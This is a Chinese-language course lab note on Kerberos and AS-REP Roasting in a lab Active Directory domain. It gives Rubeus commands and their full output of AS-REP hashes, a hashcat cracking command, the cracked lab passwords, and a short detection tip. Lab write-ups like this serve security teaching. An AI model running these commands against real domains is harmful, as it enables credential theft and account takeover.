NTUSTISC - AD Note - Lab(AS-REP Roasting)

NTUSTISC - AD Note - Lab(AS-REP Roasting)

[TOC]

Lecture Video: 2022/05/11 AD 安全 2

Background

第十四章 Kerberos 認證系統

  • 簡介:這是一種計算機網路授權協議,簡單說如果在同一個domain底下,想要存取某一個server的某項服務,則要如何驗證該使用者的身分以及授權他使用該項服務的資格?換個角度想,如果不認證會怎麼樣?首先,如果不認證使用者身分,就直接讓授權使用該項服務,則最直觀的攻擊就是DoS,或是駭客可以透過該項服務打到內網$\to$提權$\to$橫向移動$\to$APT,看起來很危險;另外一方面,如果有驗證身分,但通過驗證的人一率給予使用服務的授權,又會怎麼樣?可以利用eavesdropping得到授權的ticket再利用reply attack還是可以偽造身分
  • 提醒:Windows Kerberos和MIT Kerberos在實作上有一點不一樣,如果想要知道windows kerberos可以看飛飛的文章12,然後自行比對粘添壽老師的影片
  • MIT Kerberos架構: 為了防止前面提到的問題,他增加了一個TGS的Server,但純控管tickets的發放,另外在驗證上面也增加了timestamp和請求方的網路位址,這樣就可以防止reply attack,而且短時間內都不需要再進行身分認證,很方便
  • Windows Kerberos架構:
  • 優點
    • 主密鑰分配:AS 伺服器除了必須擁有客戶的主密鑰之外,還必須擁有 TGS 的主密鑰;另外,TGS 伺服器也需要擁有所有伺服器的主密鑰。這就是 Kerberos 將所有參與者都稱為 Principal 的主要原因。
    • 客戶密碼只要輸入一次:客戶端取得通往 TGS 的門票(TicketTGS)之後,在該票的有效期限之內,都可以請求服務,而不需要再輸入密碼來索取門票。
    • 防禦偽裝攻擊:門票(TicketTGS與 TicketB)上有登錄該票的使用者識別(ID)、工作站位址(AD)、時間戳記(TS)與有效期間(Lifetime)。攻擊者攔截到門票之後,不易在在有效期內偽裝成合法客戶。
    • 防止重播攻擊:門票有註明時間戳記(T),當攻擊者重播門票時,接收端可以利用時間戳記辨別門票的新舊。

Lab

==AS-REP Roasting==

  • 攻擊情境:在Win2016的Server Manager中的Tools可以找到Active Directory User and Computer 在一般user的property中,可以看到Account/Account options最底下有一個選項==Do not require Kerberos preauthentication==,這個功能主要是前面提到的對於身分不會認證(1, 2步驟會略過,只執行3-6),他只會認證後面的ticket 雖然預設是不勾選,但有兩種情況會打勾
    1. 如果被駭客打進去到最高管理員,當然它會勾選這個功能方便搞事(所有帳號)
    2. 因為windows有分版本,如果要向下兼容各版本之間的認證,則該選項就一定要勾選(這也是為甚麼講師在前面有提到一定要升級AD的舊環境),這在很古老的系統中常常發生
  • 滿足條件:只要前面提到的功能被打開,就可以進行AS-REP Roasting
  • 如何攻擊:
    • 自己把Microsoft的document看懂如何pack一個packet,然後自己實作
    • 另一種方式就直接用工具Rubeus 1.6.4,他可以直接把有勾選該項目的帳號,送出AS-REQ的請求,然後接收AS-REP的回應,並把接收到的tickets以你指定的格式印出來
    • Cheat Sheet:
      1
      2
        $ Rubeus.exe asreproast
        $ Rubeus.exe asreproast /format:hashcat /outfile:out.txt
      

實際執行

  1. Using Rubeus.exe :::spoiler Result ```bash! $ Rubeus.exe asreproast

(___ \ | | __) ) | |__ ___ _ _ ___ | __ /| | | | _ | ___ | | | |/) | | \ | || | |) ) __| || | | || ||__/|/|)/(__/

v1.6.4

[*] Action: AS-REP roasting

[*] Target Domain : kuma.org

[] Searching path ‘LDAP://WIN-818G5VCOLJO.kuma.org/DC=kuma,DC=org’ for AS-REP roastable users [] SamAccountName : reyna.gwendolyn [] DistinguishedName : CN=Reyna Gwendolyn,CN=Users,DC=kuma,DC=org [] Using domain controller: WIN-818G5VCOLJO.kuma.org (192.168.222.128) [] Building AS-REQ (w/o preauth) for: ‘kuma.org\reyna.gwendolyn’ [+] AS-REQ w/o preauth successful! [] AS-REP hash:

1
2
3
4
5
6
7
  $krb5asrep$reyna.gwendolyn@kuma.org:4B08601B0A55BA231BED4333EAA6ED9C$E146006C2F6
  B5EF8D78D4280E646FA601860D754261C28DC48470F2EA99E75DFD03E53F4BAC09BD1BE9697C5918
  C48E5BA6A64D51A550FC6833327EBEF9A0C62F2448BA3CA3AA7D9BD375BF8BE693B1BC199A442053
  AC3A40FA3F29EE3ABFB9B1B1E1C31DDD508FAB7971F1FDCE057D5A4481678511188DB99921762116
  934D04C72071DAACFC6FFA8250380CD9ECECF95CC5702FD7A67AB90F18C299BB9AD8FF4A9325730E
  859F2105F1AF64E170EB118111414CC44D0CDD1199860EF0D99ECD33FB618FEDCFAE96E0DFB75A4D
  9EF3C06C99DBBD9C0A69A344C4C5A65B5B702152081F9

[] SamAccountName : henrieta.sabine [] DistinguishedName : CN=Henrieta Sabine,CN=Users,DC=kuma,DC=org [] Using domain controller: WIN-818G5VCOLJO.kuma.org (192.168.222.128) [] Building AS-REQ (w/o preauth) for: ‘kuma.org\henrieta.sabine’ [+] AS-REQ w/o preauth successful! [*] AS-REP hash:

1
2
3
4
5
6
7
  $krb5asrep$henrieta.sabine@kuma.org:DEBC5F5111CE6D774625EB3DCC14925A$A91DD569550
  A48219DAC0F53E4114DA7027E073DD6A86EFC83C79206787A84DBF6FC7F4B5168D7CBE65B073A05B
  B13AF1514D32D787948F91E05FF40191B6FE7819B9F5A978377D82B5E9532688B1CF28BBA1370365
  68C110CAB41FEC26D262DC422CB54B678456470AE34F23B6D2CB1597E9565CACD11C1C5F9683408B
  241650007B0E162C40D7694D8F5A5154254E0A54829C7784EB5493DF15812271C3161DD5937B368B
  93406383215D909289E3FE096A10D396EF662C02031E6D4352C6A411EEC38B0A1D02A2E0AB03C86E
  CBF9C07C441C4D5EBD4269400373A2AFAD5879293B856

[] SamAccountName : giulietta.moyra [] DistinguishedName : CN=Giulietta Moyra,CN=Users,DC=kuma,DC=org [] Using domain controller: WIN-818G5VCOLJO.kuma.org (192.168.222.128) [] Building AS-REQ (w/o preauth) for: ‘kuma.org\giulietta.moyra’ [+] AS-REQ w/o preauth successful! [*] AS-REP hash:

1
2
3
4
5
6
7
  $krb5asrep$giulietta.moyra@kuma.org:11CD5E39C2CEA9695C50826E6FCA66D3$9E2B2F3ED60
  5D93BF02721F921D09DE188F1F7F3BE23907A73B95B30ECB0C1CFF5C68A0E814931A6A839DC1098C
  2F3EF8B0A68492CA16E6CD96C843373581DD8CF14F7F58AE9B63A4717D1E8F7C2AA56DAC959F589C
  1533249CA5BF72BBFC833609A0D958B7B5E692632D3557678B671E65C092494B38FC3840D09E16F4
  1FE8D1BB86FAF16BD3F39E4E8CF8AC07A10FCD20E947D3A496A4204350D1E3B0448DB92AE749F3D0
  7A9D1582677A5958B70DD38E2CDFC914C2848D0F9BC0E78D65AB7F3B9E1B5AFFA53588FBD7FFB297
  357047776932B4EA2405ECB5705418BDE7CB8DBE725BB ``` ::: 可以看到他總共吐出了三個hash,分別對應到三個使用者:<font color="FF0000">reyna.gwendolyn, henrieta.sabine, henrieta.sabine</font>,如果仔細對應win2016相對使用者的property會發現的確,這三個user的該選項都有打勾,現在則是利用hashcat之類的工具把hash暴力解開
  1. Using Hashcat 可以直接在Kali使用hashcat,不過我是直接在windows上操作,可以參考3,講解的非常詳細
    $ hashcat.exe -m 18200 -a 3 ".\Kerberos-AS-REP.txt" -o output.txt
    

Output Result

$krb5asrep$23$giulietta.moyra@kuma.org:eb292e4b9e547357db6500d982df775b$2def9955e12f072fdc189adcde61dbff3939f7cfda5c84583c78335edfff1c5d246e3c311b991e26c0ca7afbb97757a2751a521b596e9da9a3ffcbec31205b61e45473cfbff58046f5a9759aa186ebbb90894749b2f0cbd91d6558e8f0750aab7c0b46d8947f843327f9dceb94c4b4043ee902856f3c01493e353c28cd956aaa0c58c6ded536e11855d4584aeed3486e379f91199eb96808631f2b72f0443e637cc66268bc8dd87528daf96b28de8fbccae28aa52b38f5069e5aa2c9b4dd9e21ed77ac30d6602459376a8a791d133f577024c43cae1ac8bd973d39e191ba535c0f660b0e:willow
$krb5asrep$23$reyna.gwendolyn@kuma.org:ef97037a66f7cedcacf9aeae90e8d8cc$930cc1157dfee8d506c728f11184963e4011a0254ea83428aaf529de9c2a10c533ff12c0b6f519aad9c65a7fa6a645e6552f57936001c8b8011bbf1f3f93981bd6126befb0dd74b1df7930336f240f623d1d9e53bbb5e37864559d37ee3f1a0edd319a7252a3b6bab5b50d81967abc630eccb804dd200218b7222914776d71387c2916353c3475426515aaa5b95108b9e9ae68c8ece2dfeeaf7836dd9f3778c49c4090850925332470b9eab9c77c4549237a17f58e41b0b09a1be6a99827f5b14d78a734300bb08056c40a28b6f69fa2c7b72afa7d18d831631b19b7cbcc5a6dc928d66d:edward
$krb5asrep$23$henrieta.sabine@kuma.org:cef1cda05e49376d4749ace914595ea1$43d6d77a9de81c2e1c6a00fd7ea6bbb2dc087e26568ae31ab08f2b6887ccfa427ca59fab8dd7bd69d3c2b13b5f1c4ec2dff56f975940d1096eac8bca440c5adafa49e5e8b57d3cc7fddf83a71fef5353a3e3e2a85a6269a39a007bd5272ef40ba721b30313a2054d684e8efe81b214a79af9e1d5d75b1746070486a0d90e79123d1c881a56d190a7c76f1ad951695faee37f64f7f063fd38f2d7af0476747d10c5d16540c34396a0e752aaa820b4147396829affd62b99de0fa6fd0fba13a5271d5fd8b6484a7e9ef52526d0b6cef84f1ab4c939dc977e967bd12c98ca6fb55508d1a770:therock

這三者的密碼就被爆出來了,分別是 giulietta.moyra$\to$willow reyna.gwendolyn$\to$edward henrieta.sabine$\to$therock

==How to detect it?==

Event ID: 4768(預設不開,因為在一般中大型公司中,開了這個所收到的event會超多,所以除非做好filter不然一般不開)

Reference